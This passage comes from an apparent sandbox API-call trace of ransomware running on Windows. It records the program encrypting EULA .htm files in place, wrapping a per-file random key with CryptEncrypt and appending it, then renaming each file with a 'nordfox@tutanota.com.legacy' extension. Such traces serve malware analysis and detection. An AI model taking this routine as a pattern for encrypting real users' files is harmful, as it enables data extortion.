lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.429] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e80000*, nNumberOfBytesToWrite=0x3e0c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e80000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e0c1, lpOverlapped=0x0) returned 1 [0120.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0120.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e80000 | out: hHeap=0x520000) returned 1 [0120.434] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e0c1 [0120.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0120.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0120.435] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0120.436] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0120.436] CloseHandle (hObject=0x6d0) returned 1 [0120.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0120.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0120.443] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0120.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0120.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0120.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c668 | out: hHeap=0x520000) returned 1 [0120.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bfd8 [0120.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0120.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0120.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0120.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0120.445] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm", dwFileAttributes=0x80) returned 1 [0120.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c050 [0120.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0120.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c050 | out: hHeap=0x520000) returned 1 [0120.446] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0120.446] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=70391) returned 1 [0120.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x112f7) returned 0x60cbf0 [0120.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x112f7) returned 0x2e41f30 [0120.447] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x112f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x112f7, lpOverlapped=0x0) returned 1 [0120.539] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-70391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.539] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x112f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112f7, lpOverlapped=0x0) returned 1 [0120.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0120.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0120.540] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112f7 [0120.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0120.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0120.541] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0120.541] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0120.541] CloseHandle (hObject=0x6d0) returned 1 [0120.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0120.541] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0120.541] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0120.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0120.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bfd8 | out: hHeap=0x520000) returned 1 [0120.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0120.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bfd8 [0120.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0120.732] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0120.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0120.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0120.732] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", dwFileAttributes=0x80) returned 1 [0120.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0120.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0120.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0120.733] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0120.733] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=75552) returned 1 [0120.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12720) returned 0x2e41f30 [0120.734] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12720) returned 0x2e54658 [0120.734] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x12720, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x12720, lpOverlapped=0x0) returned 1 [0120.821] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-75552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.821] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e54658*, nNumberOfBytesToWrite=0x12720, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e54658*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12720, lpOverlapped=0x0) returned 1 [0120.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0120.821] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e54658 | out: hHeap=0x520000) returned 1 [0120.821] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12720 [0120.821] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0120.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0120.822] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0120.822] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0120.822] CloseHandle (hObject=0x6d0) returned 1 [0120.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0120.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0120.822] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0120.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0120.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bfd8 | out: hHeap=0x520000) returned 1 [0120.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c9b0 | out: hHeap=0x520000) returned 1 [0120.824] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0120.824] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0120.824] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0120.824] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0120.824] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0120.824] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", dwFileAttributes=0x80) returned 1 [0121.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0121.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0121.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0121.169] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.169] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=66159) returned 1 [0121.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1026f) returned 0x60cbf0 [0121.169] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1026f) returned 0x2e41f30 [0121.169] ReadFile (in: hFile=0x6d0, lpBuffer=0x60cbf0, nNumberOfBytesToRead=0x1026f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60cbf0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1026f, lpOverlapped=0x0) returned 1 [0121.228] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-66159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.228] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e41f30*, nNumberOfBytesToWrite=0x1026f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1026f, lpOverlapped=0x0) returned 1 [0121.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cbf0 | out: hHeap=0x520000) returned 1 [0121.228] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.230] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1026f [0121.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.230] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.231] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.231] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.231] CloseHandle (hObject=0x6d0) returned 1 [0121.232] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0121.232] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0121.232] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0121.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0121.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0121.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf60 | out: hHeap=0x520000) returned 1 [0121.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bf60 [0121.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0121.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0121.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0121.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0121.234] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", dwFileAttributes=0x80) returned 1 [0121.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c5f0 [0121.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0121.235] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5f0 | out: hHeap=0x520000) returned 1 [0121.235] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.235] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=81953) returned 1 [0121.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14021) returned 0x2e41f30 [0121.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14021) returned 0x2e55f60 [0121.237] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x14021, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x14021, lpOverlapped=0x0) returned 1 [0121.313] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-81953, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.313] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e55f60*, nNumberOfBytesToWrite=0x14021, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e55f60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14021, lpOverlapped=0x0) returned 1 [0121.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e55f60 | out: hHeap=0x520000) returned 1 [0121.313] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14021 [0121.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.314] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.314] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.314] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0121.315] CloseHandle (hObject=0x6d0) returned 1 [0121.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0121.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0121.315] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0121.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0121.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf60 | out: hHeap=0x520000) returned 1 [0121.320] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c578 | out: hHeap=0x520000) returned 1 [0121.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c578 [0121.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0121.320] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0121.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0121.320] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0121.320] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm", dwFileAttributes=0x80) returned 1 [0121.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c938 [0121.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0121.321] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c938 | out: hHeap=0x520000) returned 1 [0121.321] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0121.321] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=283852) returned 1 [0121.321] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x454cc) returned 0x2e41f30 [0121.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x454cc) returned 0x2e87408 [0121.323] ReadFile (in: hFile=0x6d0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x454cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x454cc, lpOverlapped=0x0) returned 1 [0121.435] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=-283852, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.435] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e87408*, nNumberOfBytesToWrite=0x454cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e87408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x454cc, lpOverlapped=0x0) returned 1 [0121.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0121.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e87408 | out: hHeap=0x520000) returned 1 [0121.441] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x454cc [0121.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0121.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0121.443] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0121.443] WriteFile (in: hFile=0x6d0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 